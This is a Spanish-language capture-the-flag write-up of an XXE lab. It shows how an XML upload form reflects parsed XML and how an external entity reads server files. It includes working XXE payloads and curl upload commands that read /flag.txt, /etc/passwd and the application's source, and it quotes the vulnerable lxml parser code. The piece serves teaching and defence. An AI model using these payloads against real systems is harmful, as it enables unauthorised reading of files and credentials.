Write-ups

Resolución del Lab – XXE 01


Reconocimiento

La aplicación no esconde su intención: un formulario mínimo que sube un fichero XML y, debajo, un servidor uvicorn esperando a parsearlo. En cuanto un backend acepta XML que controlamos nosotros, la primera pregunta ya está sobre la mesa, porque un parser mal configurado convierte ese XML en una puerta para leer ficheros del propio servidor. Eso es un XML External Entity (XXE).

El reto vive tras la cookie de sesión de la plataforma, así que guardamos esa cookie en cookies.txt y apuntamos la URL del reto a $URL. Con esas dos variables los comandos quedan limpios y copian directos, sin clavar un host que a cada quien le sale distinto. Sin la cookie, cualquier ruta responde 401.

curl -sk -b cookies.txt "$URL/" -o /dev/null -w "%{http_code}\n"

Con la cookie puesta, la home carga y enseña justo lo que prometía: un input de tipo fichero y un botón de subida que hace POST a la raíz por multipart/form-data. Un formulario que sube XML y no devuelve nada más que un hueco donde pintar el resultado. Todo apunta a un parseo en el backend.

Confirmación del parseo

Antes del payload conviene la prueba más barata: mandar un XML inofensivo y ver qué hace el servidor con él. Si lo devuelve re-serializado, es que lo ha pasado por un parser de verdad y no solo lo ha guardado.

printf '<?xml version="1.0"?>\n<root><item>hola</item></root>\n' > benign.xml
curl -sk -b cookies.txt -F "[email protected];type=text/xml" "$URL/"

La respuesta trae el XML de vuelta, indentado y con la etiqueta cerrada por su cuenta. Ese detalle es media victoria: el servidor no solo parsea el árbol, lo refleja. Si conseguimos que una entidad se resuelva dentro de <root>, su contenido va a aparecer en ese mismo bloque de resultado, servido en bandeja.

Explotación XXE

Ahora el payload de verdad. Declaramos un DOCTYPE con una entidad externa xxe de tipo SYSTEM que apunta al fichero que queremos leer, y la referenciamos dentro del nodo raíz. Si el parser resuelve entidades externas, sustituirá &xxe; por el contenido del fichero antes de devolvernos el árbol.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<root>&xxe;</root>

Se sube exactamente igual que el fichero benigno de antes. La única diferencia está dentro del XML, que es justo donde el formulario no mira.

curl -sk -b cookies.txt -F "[email protected];type=text/xml" "$URL/"

Y ahí, dentro del bloque de resultado donde antes salía nuestro hola, aparece el contenido de /flag.txt. El parser ha leído el fichero del servidor y lo ha incrustado en el árbol que nos devuelve. Cambiando la ruta a file:///etc/passwd el mismo payload escupe el fichero de usuarios entero, lo que confirma que la lectura es arbitraria y no un caso especial de /flag.txt.

Lectura del código fuente

Con lectura arbitraria de ficheros no hay razón para quedarse en la flag. Que el propio parser nos lea el código de la aplicación y nos cuente por qué está cayendo. Apuntamos la entidad a la ruta habitual del backend.

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///app/app.py">
]>
<root>&xxe;</root>

El código sale entero y confirma el diagnóstico en una sola línea. El backend construye el parser de lxml con resolve_entities=True, que es exactamente el interruptor que le dice que expanda las entidades externas del DOCTYPE. La única validación es que el nombre del fichero termine en .xml, un control de superficie que no toca el contenido.

parser = etree.XMLParser(resolve_entities=True)
tree = etree.parse(file, parser)
root = tree.getroot()
response = etree.tostring(root, pretty_print=True).decode()

Ahí está la cadena completa a la vista. El parser resuelve las entidades, tostring serializa el árbol ya expandido y render_template lo devuelve al navegador. Tres piezas encadenadas que convierten cualquier fichero del servidor en texto en pantalla.

Flag

La flag asoma en el bloque de resultado del payload que apuntaba a file:///flag.txt; la dejamos enmascarada para no reventarle el final a nadie.

Validar por la extensión del fichero da una falsa sensación de control: un .xml puede llevar cualquier DOCTYPE dentro, y el filtro que solo mira el nombre nunca llega a leer lo que de verdad importa. El fallo no está en el formulario, está en un parser al que se le dijo que confiara en las entidades externas de un documento que escribe el atacante. La misma primitiva que lee /flag.txt lee el código fuente, y con el código delante el resto deja de ser a ciegas.

Un formulario que solo quería un XML bien formado terminó leyéndonos en voz alta los ficheros de su propio servidor.


Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *